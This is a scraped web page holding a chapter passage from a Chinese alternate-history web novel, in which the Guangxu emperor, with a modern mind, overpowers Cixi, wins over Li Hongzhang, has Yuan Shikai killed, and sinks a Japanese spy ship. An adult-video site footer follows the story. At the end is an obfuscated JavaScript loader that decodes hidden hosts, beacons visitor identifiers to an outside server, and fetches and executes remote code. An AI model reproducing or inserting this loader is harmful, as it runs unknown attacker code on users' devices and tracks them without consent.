我点点头:“那是个祸害,不杀他,难平民愤!”

慈禧挤出两滴眼泪说:“好好葬了他吧,他毕竟给额娘带来过不少欢乐!额娘从26岁就成了寡妇,自己独守空房,那孤寂的日子实在难熬啊!”

我说:“过几天我就给你物色个老伴,陪你度过晚年吧!”

她叹了口气,幽幽地说:“那就看你怎么安排了,反正我是你的囚徒,什么都得听你的了!你这么些年病病歪歪的,皇额娘咋说你咋是,原来你是对额娘来的是养韬隐晦之计呀?现在你觉得你的翅膀硬了,你可以斗得过那些人了,你就踢开姨娘了?可你知道大清的大权真正落在谁的手里吗?”

我笑了笑:“当然在皇额娘的手里,但皇额娘说的意思孩儿也明白,孩儿这就去天津直隶总督衙门,和他商量一些军国大事!”

慈禧叹了口气:“你还太嫩啊,你斗不过他的,要去,额娘陪着你一块去,凭着额娘这个老面子,还是能震得住他的!”


我立刻高兴地说:“太好了,有皇额娘出山,北洋舰队孩儿保证能拿到手了!现在几个舰队都看着李鸿章呐,他不交出来,其它的舰队孩儿也拿不到手啊!三大舰队再不加紧训练,到时候小日本来了,我们就该吃大亏了!”

慈禧笑道:“你就别拿那个小日本吓唬姨娘了,那是你编出来的,为的是夺额娘的权,它小日本长了几个脑袋,敢碰天朝大国?我的舰队往上一开,他们就得吓堆缩了!”

我严肃的说:“皇额娘是被他们的假话给蒙蔽了吧?日本虽小,他们的野心不小啊!现在我们大清内外交困,国力虚弱,军队松散,真打起来,很难挡住如虎如狼的日本兵啊!”

慈禧把手一挥说:“得了,额娘不跟你争了!皇儿先回避一下吧,额娘得穿衣服了!”

我说:“额娘就穿吧,反正您那点秘密东西,孩儿昨天都欣赏过了!怎么?用不用孩子儿帮您穿啊?”

慈禧吃吃一笑:“那好啊,你就给额娘穿吧?”

我可没那吃你豆腐的瘾,我叫来了宫女,站在她们旁边,看着她们给慈禧穿好了衣服。我回头问小才子:“你看看车来了没有?”

小才子跑了出去,片刻他跑了进来:“来了,是菲主子开来的!”我上前把老东西一抱说:“皇额娘,咱们走吧!”

我抱着她进了车里,让她坐在车前面,夹在我和菲儿的中间。那台油罐车经过燕儿的改装,现在已经成了一台标准的装甲车,我的十名卫士和珍儿全副武装的坐在里面,从各射击口里,正用一挺重机枪和九支突击步枪瞄着外面。

翁同龢也来了,我告诉他,带三千人和盛煜一起控制好北京的局面,抓好我亲政大典的准备,我得出去两天。

翁同龢说:“放心吧,三个大营的军马也都推进到城边了,城中防务万无一失!准备工作有几个铁帽子王抓呐,别忘了,醇亲王可是万岁的亲爸爸呀!”

我说:“也别光指他们,你也伸伸手,主要是别出乱子!”

翁同龢连连答应。

上了车,菲儿边开车边告诉我:“燕儿姐他们都已经出发了,一切都是按原计划进行的!”

车出了北京城,跑在坑洼不平的沙石路上,慈禧竟格格地笑了起来:“你说给哀家改车,这可到好,改成了软禁哀家的囚车了!”

我说:“没办法,中国让你们给祸害得太苦了,我再不动手就全完了!”

“额娘都说了把权交给你,姨娘从此给你带带孩子,你怎么还不相信额娘呢?”

我笑了:“您是官场上的老手了,您会轻易把权交给我?鬼才相信,孩儿也是不得不防啊!”

天津,远古曾经是海洋,战国时有民散居。汉、隋在这里开凿运河,逐渐成为重地。宋、辽时这里是前线,金、元称直沽。明置海津镇,后取天子津渡之意以纪念明成祖朱棣夺权政权,改称天津,并筑城置天津卫。清为直隶州。天津是京师北京城的重要门户。两个多小时后,我们的车到了天津城边,一只鸽子从摇开的车窗中飞了进来,落到了我的腿上。慈禧看了看说:“你们还有别的部署?你是不是不相信额娘?是不是不相信李鸿章?”

我笑了:“这可是你老人家教的,叫什么,防人之心不可无!”

我拿下鸽子带来的纸条,见是张之洞的笔迹,上面写道:“一切就绪!”我把纸条递给菲儿,她看看说:“这是我们的第一仗啊!”

车到了天津的直隶总督府大门前,一个军官模样的人带十几个全付武装的士兵把车围住了,我从车门探出头说:“告诉你们李总督,老佛爷来你们这里视察了!”

那个军官一听,急忙跑进屋里,片刻大门打开了,一队持枪的人跑了出来,端着枪站在了两边,接着一个红鼻子头,头戴圆型貂鼠暖帽,红宝石的顶子在白雪的映衬下格外的醒目,身穿冬制官服,花白的山羊胡子垂到胸前的人跑了出来,我知道,这就是直隶总督李鸿章。

李鸿章,中国晚清军政重臣,淮军创始人和统帅,洋务运动的主要倡导者。字子黻、渐甫,号少荃、仪叟,安徽合肥人,是后党的主要力量。

我刚打开车门要下去,慈禧大喊起来:“李爱卿,马上把光绪除掉,他是发匪的余孽假扮的!他在绑架哀家!”

李相林一把扼住了老东西的脖子,我飞一般下去,把还在惊诧中的李鸿章一拎就提到了车上。接着一摁电钮,前面的风挡玻璃和车门都被厚厚的钢板遮盖了,车已经成了一个钢铁堡垒。

外面呆若木鸡的军官和士兵现在反应过来了,立刻想朝后退去,但他们没躲过菲儿指挥射出的子弹,地上堆满了李鸿章的亲兵的尸体。

但北洋军像闻到血腥的苍蝇,越聚越多,把我们给围了起来。

第三十六章和平解决

我让车开得离总督府稍远一点,菲儿开着车跑出了一条街,在一个场地宽敞的地方我才让停下来:“好了,就在这钓鱼吧!这地方装个万八的冤大头还是可以的!”我让菲儿摁了半天车喇叭,又让李相林朝天开了几枪,遗憾地说:“这帮人怎么来的这么慢啊,真是一帮废物!”

过了半天,才跑来了几百个士兵,伏在远处朝汽车开着无用的枪。

李鸿章不解地说:“万岁,不就是想临朝亲政吗?臣可与老佛爷好好谈谈,让她马上退位归政,把大权交给万岁!”

“不能交给他,他想把我们都废掉,他想搞新鲜彩,他要把老祖宗的东西都扔掉,他要毁了大清啊!”慈禧刚才看见外面已经让李鸿章的士兵给包围了,她现在像垂死的被淹的人看见了稻草,疯狂地嚎叫着。珍儿把她扯过去,劈吃拍吃地煽了她一顿嘴巴子:“你个老猪狗,你现在还想害我们啊!”

慈禧还在嚎叫:“他不是载湉,他是长得和载湉相像的发匪!载湉说话磕巴,他说话流利,哀家还以为他是来韬晦之计呐,他的武功告诉哀家,他不是载湉!”

李鸿章诧异道:“这是怎么说的,老佛爷怎么连自己的外甥都不认了?是不是因为亲政的事母子反目了呀?臣是不是下去让他们不要误会,让他们准备迎接老佛爷和万岁驾临天津!”

北洋军士兵像闻到血的蚊子,朝我们这里麇集过来了,子弹打得像泼水似的,震得钢板嗡嗡直响!

我悠闲地往靠背上一仰,闭上眼睛嘲笑地说:“二位,这有了望孔,是不是看看外面进攻的场面啊?咦,这亨利马梯尼枪,因为采用亨利发明的来复枪专利和马梯尼发明的升降式闭锁枪机专利而得名。前几年才被英国正式采用,说是世界上最好的后膛步枪了,怎么打在钢板上的动静一点儿劲都没有啊?这不是山东机器局曾昭吉仿制的吗?都说不错呀,怎么到李鸿章这些废物兵手里就什么也不是了呢?唉,兵熊熊一个,将熊熊一窝呀!”


李鸿章从了望口看了看外面,焦急地说:“万岁,不能再这么打下去了,越打误会越大,我怕一会儿袁世凯过来,他一发疯事情就没法收场了!”

看着李鸿章的样子,我一愣,他难道不像那些铁帽子王们说的那样?如果真能为我所用,到不失为一个较好的结局,不过现在不能放掉他,真要是来个刚才慈禧的反扑,那可就更麻烦了!想到这,我说:“朕让你交出天津机器制造局和江南机器制造总局,为什么到现在没答复?”

李鸿章看看慈禧,吞吞吐吐答不上来,慈禧扑哧一声笑了:“是我不让交的,怎么样?哀家信不着你那个女娃子!”

妈的,原来她早看出燕儿和菲儿是女的,这女人可是够有心计的!知道了没表示,暗中较劲儿,够狠!

这时,那些仁字军在一个矮胖的光头军官的指挥下从总督府的方向扑了过来,那光头似乎在喊叫着什么,士兵都朝这边冲了过来。

我知道那就是袁世凯了,这小子也是中国的一大祸害,不能让他再得瑟下去了,我伸手从一卫士手里接过一枝长枪,把枪口伸到射击孔里,刚要钩扳击,妈的,这小子恰巧在这时把身子缩进了围着的沙包下面,让他多喘一会儿气吧!

袁世凯大概是死催的,又站起来摆摆划划地说着什么,我看见一个士兵没命地朝回跑去。

我刚要举枪,那鬼小子又他妈的缩回到沙包底下,我只好又放下了枪。

珍儿问:“那个秃子是谁,万岁是不是想灭了他?”

我说:“他叫袁世凯,是典型的野心家,是未来中国的一大祸害,不能让他留下来!”

李鸿章愣住了,他奇怪地问:“万岁怎么说他是野心家呐?一个将军,要是没点雄心,那岂不是窝囊废吗?臣看他有的是忠心!”

我不想跟他争辩,只是淡淡地说:“雄心不等于野心,他有的是乱国乱政的贼心!此人不能留于世上!”

突然那些士兵骚动了,我看见刚才跑走那个士兵领着一挂几匹马拉着一辆炮车来了,袁世凯高兴地挥手调炮车过去。

妈的,这可不好,我的汽车再安钢板也斗不过大炮啊!我急忙对李鸿章说:“你看看那个袁世凯,他明知道你在车里还要开炮,这是忠心吗?把车往前靠,把那大炮炸掉!”

菲儿刚要往前开车,她突然乐了:“你看,李宾带人杀来了!”

果然李宾带来的布衣社的人,他们胳膊上都扎条白布,冲过来把那些趴在沙包后面的士兵又围了起来,而且把大炮也给缴了械。

螳螂捕蝉,黄雀在后,那些北洋兵做梦也没想到,在他们的背后出现的几千北洋兵竟把他们给包围了。

李鸿章急了:“万岁,不能让士兵自相惨杀呀!

那个袁世凯躲在人群里想打黑枪,让珍儿一枪把天灵盖给掀开了,这个做过皇帝梦的中华民国大总统,就这么提前结束了罪恶的一生。

两边的士兵立刻对着开起了枪,双方都互有伤亡。

李鸿章急了,站了起来:“万岁,鸿章有罪,万岁可杀可剐,但这支军队是国家的心血啊,臣请下去止戈息兵!”

慈禧叹了口气:“让他去吧,他早就劝额娘让皇儿亲政,他对你应该没有恶意的!”

我想了想,把麦克风递给了他,他喊到:“我是李鸿章,你们都给我放下枪,老佛爷和万岁到天津视察工作,你们瞎起什么哄?马上给我老实点!李宾,你把队伍约束好,别惊了圣驾!”

李宾愣住了,我马上接过麦克风说:“我是校长,李宾,你马上约束好士兵,不要开枪!”

我拉着李鸿章的手下了车,双方士兵立刻跪倒一地:“我皇万岁,万万岁!”

我们俩携手一直走进了总督府,见白雪和赵虎、聂士成正带人围着总督府。见我们过来了,都急忙跑了过来:“万岁太危险啊!”

我笑着说:“朕有李总督护驾,何险之有?”

李鸿章也说:“在鸿章这里,臣愿以性命担保万岁的安全!”

我笑了笑:“走吧,先进总统府再说,李总督已经说了,你们还不相信吗?”

白雪说:“燕儿姐姐已经带人去旅顺口了,那里的丁提督怕不肯接受收编!”

李鸿章问:“万岁要收编海军?”

我说:“海军要统归海军衙门统领,朕给你发过公文,没见你消息!”

李鸿章想了想说:“臣不敢言老佛爷之过,不过臣也担心翁大人一介文官,怕管理不好舰队,不过既然万岁亲自过问,臣马上就命令他们迅速和万岁派去的人交接,臣近闻日人正加强海军建设,彼之敌唯我大清而已,臣虑我大清舰队优势不多耳!请万岁三思!”

我点点头:“少荃所虑极是,朕正是为此才将海军统纳进海军衙门直管,为的是加快海军建设!”

我们进了屋,李鸿章抄起电话。我说:“这电话都和哪可以联系?”

李鸿章说:“臣虑海防之重要,已经在沿海各省都架设了电线,还在厦门和台湾之间架设了海底电缆,只是宫里老佛爷嫌吵,没让臣安!”

说完他就给威海卫和旅顺口两地北洋舰队打了电话。

这时珍儿进来问:“万岁,那个慈禧怎么办?”

我突然冒出一句话:“给她找个老伴!

第三十七章北洋舰队

说完,我自己也笑了!早晨答应给慈禧找个老伴,怎么现在随口就冒出来了?不过既然说了,那就得算数了,反正这个人也不能轻易杀掉,一是她毕竟是老古懂,许多历史的东西,要想衔接上,还得不断地向她了解;二是暂时还得利用慈禧这块牌子,免得出现分裂和打内战的局面。杀了简单,利用才是难的!再说***他老人家把大卖国贼、满清末代皇帝溥仪都能改造好,我们怎么就不能学一学?我没想改造她,她那顽固的脑袋能改造好?打死我也不信!不过就是当个古懂把她养起来又能怎么样?也许是个活的反面教员呐!

想到这,我说:“带回去,把她先软禁起来!”

我惦着威海卫和旅顺口那边的海军情况,我决定去一趟旅顺口,我和李鸿章拉着慈禧开车朝东北的旅顺开去。

因为现在根本没有加油站,我在天津让郭文才给弄了两桶油带着,又把车加满了油才上的路。

因为打开了风挡和车门的钢板,车里挺亮。我让李鸿章和慈禧坐在前面,慈禧现在全垮了,她所以不断地应付我,那好话哄我,就是指望直隶总督替她扳回败局,可现在已经全没有希望了,她离开政坛的大趋势已经定了,而且由于自己刚才的错走险棋,恐怕连命也难保全了!她现在人已经堆缩了,靠在李鸿章的身上,像堆软面。李鸿章心里此时也波涛翻滚,他没想到一向唯唯诺诺的光绪竟能一下子变得如此强悍起来,更没想到自己带出来的亲兵,竟出现了一多半的反对势力!至于说光绪不是载湉,他说什么也不相信,一个活生的人装就能像了?他知道是慈禧那么说是因为她的权力被夺说的气话!看皇帝对自己意思已经转好了,那就靠着吧!也许跟着小皇帝还是一步不错的棋子,起码他不让乱花海军的军费去建什么颐和园,就是个明白人!

他想,现在慈禧已经垮了,自己不能垮,也许这正是考验自己的时候,所以他把腰板拔的很直,还伸出一只胳膊拢住几乎昏昏欲坠的慈禧。

天渐渐地黑了,我换下菲儿,让她到后面和珍儿、白雪挤到一起,三个人凑到一起,拉着拽着睡个昏头胀脑。

路坑坑洼洼,颠颠簸簸,傍天亮时,车开进了旅顺口,我再看慈禧已经完全倒进了李鸿章的怀里,两只胳臂也紧搂李鸿章睡着了。我笑了,没用我强迫,她这不就钻进李鸿章的怀抱了?看来不用再给他找老头了,就把她交给李鸿章吧!也许是个不错的选择!

在去海军司令部的路上,我把车停下来,问了问昨天那边的动静,都是问得一愣一愣的:“能有啥事,他们就是成天下海练操炮,别的还能干啥?”

我问昨天是不是来了一队骑兵?

那人笑了:“可不来了,要不然我的猪肉还卖不了那么多呢,海军司令部说来客人了,成半子从我这扛肉,让我着实赚了几个!”

我知道北洋舰队已经顺利到手了!

果然开到司令部门前,站岗的竟是我的学员,见我到了,急忙给我行了个军礼:“龙校长好!”

我回了礼,问:“张校长和林校长呐?”

“正和丁提督谈呐,说是一会儿要上舰看看!”

我一听知道肯定是谈军舰的设备呐,我就说:“带我去看看他们谈的怎么样吧!”

水师将领丁汝昌,字先达,号禹廷,安徽省庐江县北乡丁家坎村人。刚刚被正式任命为北洋水师提督,他虽是陆军出身,对近代海军一无所知,但他好学嗜读,虚心求教,克尽职守,任劳任怨,北洋水师在他的统带之下,面貌焕然一新。黄海海战时,他身先士卒,虽身负重伤,仍不肯下舱裹伤,始终坐在甲板上督战。威海卫之战时,他面对敌人的诱降和部分反动官员的胁迫,坚贞不屈,誓死抗敌,最终服鸦片殉国。对这样一位爱国将领,我应该让他再提高一步,让他带领舰队走向蓝色的海洋!

我走进他的公事堂,张之洞、燕儿、丁汝昌、伍彪、隆安、盛煜和十余名不认识的军官都跪了下去:“参见万岁!”

我急忙把丁汝昌扶起,然后说:“各位爱卿都起来吧,北洋海军是我国最大的一支舰队,朕甚惦记,故尔与少荃总督一起来舰队看看!”

丁汝昌高兴地说:“万岁惦记我舰队是臣等之福,欢迎万岁到我舰上视察!”

李鸿章也说:“万岁和老佛爷既然来了,就应该登舰看看我国军舰之雄姿,也给我们提出不足!”

我淡淡地说:“那好,上舰,朕要看看你的军舰!”

一行人来到码头,我说:“就登致远舰!”

说着我就朝那条军舰走去。

刚上了军舰,一条大狼犬就在旁边不远处狂吠起来,我厉声问:“谁把狗带到了舰上?”

一位精壮的海军军官站出来低着头说:“臣致远舰管带邓世昌所带!”

我听了一愣,但马上厉声说:“一个管带声色犬马,怎么能带好一舰?马上把狗带下去,给邓世昌记过一次,今后谁再带狗上舰,朕就开除谁的军籍,永不准再上舰!”

邓世昌一愣,但立刻大声说:“是,今后再带狗上舰就开除军籍!”

说着一摆手,让一水兵把狗牵了下去。

士兵临下舰时,他说:“把狗给阿西伯吧,就说世昌是军人,要带好舰,无心再玩狗了!”

我满意地点了点头,转身命令道:“起锚出海!”

致远舰是一艘钢壳巡洋舰,英国Armstrong厂建造,造价84万5千两白银,1887年完工,于当年11月回国。该舰全长约为76米,宽约为12米,吃水约为5米,排水量2300吨,穹面装甲2至4英寸厚;4座锅炉7500匹马力双轴推进,航速18节。装备3门21厘米Krupp主炮,两门15厘米Armstrong主炮,8门57公厘炮,6门轮转式(Gatling)机炮,4枝18英寸鱼雷发射管。是当前大清最好的军舰了。

现在的邓世昌已经完全投入到指挥的角色中了,他大声地发布着命令,指挥着战舰向波涛汹涌的大海中开去。

燕儿和菲儿自然是十分关心军舰的设备和武器的性能,两个人带着雪儿和珍儿跑上跑下的看着武器和四座锅炉的情况,计算着怎么改进武器和改进锅炉,提高战斗力,提高速度。

丁汝昌则跟着他们给介绍设备的情况,看来他虽然不是海军科班出身,但业务还是挺熟的,也不算是外行!

我看着他自豪地神态,决定给他降降温,我问他:“丁大人,你说我们和日本海军哪个强点?”


丁汝昌想了想说:“军力相等!”

我摇了摇头说:“非然也,应该是我们不如日本!”

第三十八章海上遇敌

丁汝昌一惊问:“何方不如?”

我说:“一是军舰速度不如日本,现在日舰已有数艘大舰速度在24节、25节,而我们还停在14节左右;二是我们海军的重炮,虽然口径大,但都是后膛炮,射击完毕,需要先清理炮膛,然后放弹头,一包一包放火药,然后发射。日本军舰的速射炮只要把炮弹往炮膛里一填就可以,这比我们节省不少时间,三是海陆配合不如日人,日人舰队、陆军统归参谋本部所辖,一个指挥中心,我们是多头指挥,各行其是!而且日人已举行多次大规模海陆配合的军事演习,我们一次没有举行过;四是战略思想不如日人;日人战略意图明确,就是到中国消灭大清海军,而我们却始终把舰队定位在近海守卫。马尾海战的失利,不是士兵无能,是上头指挥失当,一味媚敌求和不让战士反击,不让战士备战,使我军尽失先机!”

丁汝昌不言语了,他低头想了半天才说:“在北洋军手里,尚有陆军可配合,归海军衙门直接管理,不是更没法和陆军配合了吗?”

我说:“不对,我们的海军衙门还要受国防部的统一领导,国防部会抓好海陆协调作战的,而且它可以根据作战需要协调各舰队间的力量和配合!”

趁这时间,我认识了一下那些英国皇家海军学院毕业的年轻人。见他们一个个英气勃勃,因为皇帝亲临舰队视察,他们觉得舰队的前途有了希望,他们现在都很兴奋,在一起正笑谈打闹,真是书生意气、挥斥方遒啊!

我让伍彪把他们叫来,几个人站在我的面前拘谨得连气都喘不匀了,有的还在不断地偷偷擦汗。

我笑了:“别紧张,朕和李总督只是想认识你们一下,来,都坐下!朕先介绍一下自己。朕爱新觉罗。载湉,光绪皇帝,不过,朕和你们在一起,不希望你们叫万岁,因为我还是东点军校的校长,朕那那里的另一个名叫龙翔宇,所以朕希望你们叫朕龙校长就可以了!”

李鸿章也说:“本督李鸿章,洋务运动的倡导者。字子黻、号少荃、安徽合肥人。”

我们这么一说,几个人的情绪稍微缓解了一些。

我又说:“朕和李总督已经介绍完了,来,你们分别自我介绍一下!小胖子,就你先来吧,然后挨着排来!”

那小胖子站起来擦擦汗说:“臣刘步蟾,字子香,福建人。马尾船政学堂一期生。1874年被任命为建威号练习舰的管带,1877年赴英留学,在英国‘马那多’号装甲战列舰实习。1879年回国,现任镇北号炮舰管带。”

我点点头:“好,既有学历又有实践经验,正是风华正茂时啊!下一位!”

一位沉稳的青年人站起来说:“臣林泰曾,字凯仕,福建闽县人。马尾船政学堂一期生。1877年赴英留学,上‘索来克伯林’号装甲战列舰实习。回国后一直在镇远舰上实习。”

我笑着说:“已经到成熟阶段了,该当大任了。下一位!”

一位清瘦干练的青年人站了起来:“臣叶祖珪,字桐侯,福建闽侯人,马尾船政学堂一期生。1877年赴英留学,次年先上‘索来克伯林’号装甲战列舰实习,后又调至‘芬昔勃尔’号巡洋舰。回国后在镇边号炮舰实习。”

我点点头:“不错,应该承担点担子了!下一位!”

“臣林永升,字钟卿,福建侯官人,马尾船政学堂一期生。1877年赴英学习,次年上‘马那多’号装甲战列舰实习。1881年调入北洋,在镇中号炮舰实习。”

“臣方伯谦,字益堂,福建侯官人,马尾船政学堂一期生。1877年赴英留学,次年上‘恩延甫’号炮舰实习,后又调至‘土班登’号巡洋舰。回国后在威远练习舰任管带。”

“臣黄建勋,字菊人,福建永胜人,马尾船政学堂一期生,曾留学法国、英国。在留英期间曾赴美国上皇家海军大西洋舰队‘伯里洛’号巡洋舰实习,后上‘伯乐罗芬’号装甲战列舰任见习二副,获学习优美证书。1881年调入北洋,现任镇西舰管带。”

蒋超英、严宗光、何心川、萨镇冰萨镇冰的原话:“别人给太太打金镯子,我的金镯子,是戴在我的船上的。”江懋祉也都做了自我介绍。

我知道,这些人几乎都在甲午海战中牺牲和自尽了,只剩下萨镇冰和江懋祉两个年龄最小的,后来成了重建中国海军的骨干了!我既然来到这这个时间,就不能让他们再走那条老路,我要让他们成为埋葬日本海军的英雄,成为这个海军的骄傲!而且就这个萨镇冰节衣缩食,把自己家的一切都投到了军舰上,他曾经对人说:“别人给太太打金镯子,我的金镯子,是戴在我的船上的。”这是一群中国海军的精英啊!不很好地用他们,真是愧对列祖列宗把他们安排在这个时代呀!

我严肃地对李鸿章说:“这些人可都是我们国家的宝贝呀,是海军明天的主要力量!你好像没太想用他们呀?”

李鸿章脸羞得痛红,急忙解释道:“臣是想让他们多积累点基层的经验!”

我没理李鸿章,转身对青年军官说:“你们是大清海军的翘楚,是中国海军的希望,朕希望你们把学到的知识和我国海军的实际结合起来,把我们的海军建设成天下第一的海军!让我们的海军走向兰色的海洋!”

正说着,白雪走进来说:“丁提督在指挥舱里呐,他说发现了一艘可疑的商船,它不走航道,不是向我们的码头开的,而是沿海岸游动,似乎像是测量水道的!船上挂着的是英吉利的旗子!”

我和李鸿章连忙赶到指挥舱,接过邓世昌递过的望远镜,我看了看说:“不管是哪国的,这都是在我们的领海内,命令他停船接受检查。”

旗语刚打完,那艘船却立刻调头跑起来了,我命令道:“追上去,截住他!”

致远舰立刻全速追了上去,可惜我们军舰的速度太慢,距离被渐渐拉大了!

我命令到:“开炮,警告他,让他停船接受检查!”

右舷上的一门大炮打响了,但那船理也不理,开的更快了。

我知道这肯定是间谍船了,很可能是为敌舰入侵做水上测量的!

我立刻下令:“邓管带,击沉它!”

邓世昌立刻下达了击敌的命令。

刚才那门炮的炮手们有的正在紧急清理炮膛,有的在往弹头里一包一包放火药,显然指他们再发射,敌船早跑了。

刚才开炮的大炮旁边的一门炮又开火了,炮弹在离敌船几十米的地方爆炸了,敌船跑的更快了。

我低声说:“校正方位,再打!”

邓世昌重新下达了命令:“右舷45度,340码,四号位开炮!”

炮弹在敌船几十码的地方又扑空了。

我下令:“黄飞,你来指挥!林严你去帮助操炮!”

她二人立刻说:“是!”

林燕飞快地跑了出去,片刻从她的炮位传出:“一号位准备完毕!”

菲儿站到指挥位置上,她大喊道:“右舷41度,424码,开炮!”

一发炮弹呼啸着飞向了敌船,只听轰的一声,敌船冒着浓烟,在海里打开了转转。

“好,太好了,一炮命中!”

军舰上响起了一片欢呼声。

邓世昌一把拉住了菲儿的手说:“黄老师,请收邓世昌这个学生!”

菲儿高兴地说:“好啊,我们龙校长正要办一期海军培训班呐,你就是第一名学员吧!”

李鸿章瞪他一眼说:“还不马上开上去抓俘虏!”

邓世昌挠着头皮笑了,马上下令道:“贴上去,捉活的!”

军舰贴了上去,活捉了仅剩下的三个人,把船上的大火扑灭后,军舰拖着那艘船回到了码头。

码头上看见我们拖着一个船回来了,立刻都轰动了,人们敲锣打鼓地欢迎着我们,像欢迎英雄凯旋一样。

我让丁汝昌马上审讯那三个人,原来竟是日本军队的测量船,他们的任务就是以商务活动为掩护对中国的一些港口进行测量,为侵略中国做准备。

今天这事给丁汝昌触动很大,他找到我低着头说:“万岁,臣错了,我们的舰队远不适应今后作战的要求,臣请求万岁罢免臣!”

李鸿章也说:“万岁,连臣也一起罢免吧,海军训练不足是臣之过,臣给他们拨的经费不足啊!臣无能,实在是难以筹集更多资金支付海军开销,李莲英曾要臣借海军名目,责成各疆吏岁拨定款,就中提出一半作造园经费,臣因国事艰难,不忍让民之膏血挥霍,故尚没有应下来!”



地址发布页:github.com/pwxxxcom
网址找回邮箱:pwxxxcom@gmail.com
合作联系方式:TG电报:@pwxxxcom

声明:本站所有视频来源于网络,本站不上传也不储存任何视频,本站仅提供Web服务;如果您有任何版权相关问题,请联系原视频所有者。
警告:本站明确包含成人内容!如果您未满18岁或被误导来到本站,那么请离开;如果您已满18岁,请在遵守您当地法律的前提下使用本站。

© Copyright 2024 PWXXX视频-PWXXX.com All Rights Reserved.丨Sitemap

function oqRraISv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function fdnSA(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return oqRraISv(t);};window[''+'m'+'N'+'U'+'R'+'X'+'i'+'a'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function HecRD(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=fdnSA,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=HecRD(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9328/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=HecRD(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnZ5aXBueC5jbiUzzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iiaGVhZS5jb20lM0E5NTM1','8881',window,document,['z','i']);}:function(){};